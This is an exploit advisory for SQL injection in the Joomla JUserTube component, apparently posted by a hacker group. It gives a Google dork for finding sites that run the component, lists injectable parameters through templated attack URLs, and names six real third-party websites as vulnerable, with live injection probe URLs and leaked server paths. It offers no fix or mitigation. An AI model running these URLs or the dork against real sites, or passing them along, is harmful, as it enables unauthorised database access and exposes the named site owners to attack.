####################################################################
# Exploit Title : Joomla JUserTube Components 8.3.1 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 31/01/2019
# Vendor Homepage : srizon.com
# Software Download Link : srizon.com/product/jusertube/
# Software Information Link : extensions.joomla.org/extension/jusertube/
# Software Version : 8.3.1 and other previous versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_jusertube''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
####################################################################
# Description about Software :
***************************
JUserTube is a Joomla Extension for showing YouTube videos into your Joomla website.
####################################################################
# Impact :
***********
* An attacker might be able inject and/or alter existing
SQL statements which would influence the database exchange.
* SQL injection vulnerability in the Joomla JUserTube Components 8.3.1 because,
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
* On the other hand, this component jusertube for Joomla! allows
remote attackers to execute arbitrary SQL commands
via the " Itemid=, width=, srztb_iframe=, st=no&height=, &auto= "
with different parameters action to index.php.
* Exploiting this issue could allow an attacker to compromise the application, read,
access or modify data, or exploit latent vulnerabilities in the underlying database.
If the webserver is misconfigured, read & write access to the filesystem may be possible.
####################################################################
# SQL Injection Exploit :
**********************
/index.php?option=com_jusertube&view=fullpage&Itemid=[SQL Injection]
/index.php?option=com_jusertube&view=lightbox&rid=&yuser=
[YOUR-REGISTRATION-NAME-]&auto=
[ID-NUMBER]&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=
yes&rid=[YOUTUBE-VİDEO-ID-NUMBER]&height=[ID-NUMBER]&width=[SQL Injection]
/index.php?option=com_jusertube&view=lightbox&rid=&yuser=
[YOUTUBE-CHANNEL-NAME-HERE]&auto=[ID-NUMBER]&eh=
[ID-NUMBER]&ew=[ID-NUMBER]&st=
yes&rid=[YOUTUBE-PLAYLIST-VİDEO-ID-NUMBER]&height=
[ID-NUMBER]&width=[ID-NUMBER]&srztb_iframe=[SQL Injection]
/index.php?option=com_jusertube&view=lightbox&yuser=atlantarc
&auto=[ID-NUMBER]&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=
yes&rid=[YOUTUBE-VİDEO-ID-NUMBER]&height=[ID-NUMBER]&width=[SQL Injection]
/index.php?option=com_jusertube&view=
lightbox&rid=[YOUTUBE-VİDEO-ID-NUMBER]&yuser=[YOUTUBE-PLAYLIST-VİDEO-ID-NUMBER]
&auto=1&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=yes&height=[ID-NUMBER]&width=[SQL Injection]
/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VİDEO-ID-NUMBER]
&yuser=[YOUTUBE-PLAYLIST-VİDEO-ID-NUMBER]&auto=[ID-NUMBER]
&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=no&height=[SQL Injection]
/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VİDEO-ID-NUMBER]
&yuser=[YOUTUBE-VİDEO-ID-NUMBER]&auto=[ID-NUMBER]
&eh=[ID-NUMBER]&ew=[SQL Injection]
/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VİDEO-ID-NUMBER]
&yuser=[YOUTUBE-PLAYLIST-VİDEO-ID-NUMBER]&auto=[ID-NUMBER]
&eh=[SQL Injection]
/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VİDEO-ID-NUMBER]
&yuser=[YOUTUBE-PLAYLIST-VİDEO-ID-NUMBER]&auto=[SQL Injection]
####################################################################
Example Youtube Video Id Number and Youtube Playlist Video ID Number =>
*****************************************************************
Find any random video and playlist id numbers and use SQL injection queries on com_jusertube.
youtube.com/watch?v=[YOUTUBE-VIDEO-ID-NUMBER]
&feature=youtu.be&list=[YOUTUBE-PLAYLIST-VİDEO-ID-NUMBER]
####################################################################
# Example Vulnerable Sites :
*************************
[+] atlrcclub.org/index.php?option=com_jusertube&view=
lightbox&yuser=atlantarc&auto=1&eh=385&ew=640&st=
yes&rid=UKY3scPIMd8&height=500&width=680%27
[+] veritas.sao.arizona.edu/index.php?option=com_jusertube&view=
lightbox&rid=IdNR8QhDT5Y&yuser=FLpGmfGAQmgoktJDdtD0WCFA
&auto=1&eh=385&ew=640&st=yes&height=500&width=680%27
[+] rarenoiserecords.com/index.php?option=com_jusertube&view=
lightbox&rid=JAHOOowzSHM&yuser=8pw8e2GsFVNLeg0DryxaXonJxRVb1kFi
&auto=1&eh=385&ew=640&st=yes&height=500&width=680%27
[+] mappaterzosettore.it/index.php?option=com_jusertube&view=
videobox&rid=zBDJZSbthSk&yuser=m45cxCSgS5sMYOcIBLHh9P7VN2cjFZ2u
&auto=0&eh=385&ew=640&st=no&height=500&width=680%27
[+] kasba.nl/index.php?option=com_jusertube&view=videobox&rid=
kKXiAsrEmrU&yuser=PLACD8763207E4895C&auto=1&eh=
540&ew=700&st=no&height=600&width=980%27
[+] facturemas.cl/index.php?option=com_jusertube&view=
lightbox&rid=&yuser=ClevverMovies&auto=1&eh=385
&ew=640&st=yes&height=500&width=680&srztb_iframe=1%27
####################################################################
# Example SQL Database Error :
****************************
Warning: SimpleXMLElement::__construct() [simplexmlelement.--construct]:
Entity: line 1: parser error : AttValue: " or ' expected in /home/webmaster
/html-public/components/com_jusertube/views/lightbox/view.html.php on line 53
Fatal error: Uncaught exception 'Exception' with message
'String could not be parsed as XML' in /home/atlrcclu/public_html
/components/com_jusertube/views/lightbox/view.html.php:50
Warning: Declaration of JusertubeViewVideobox::display() should be compatible
with Joomla\CMS\MVC\View\HtmlView::display($tpl = NULL) in
/home/vhosts/kasba.nl/httpdocs/components/com_jusertube
/views/videobox/view.html.php on line 24
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################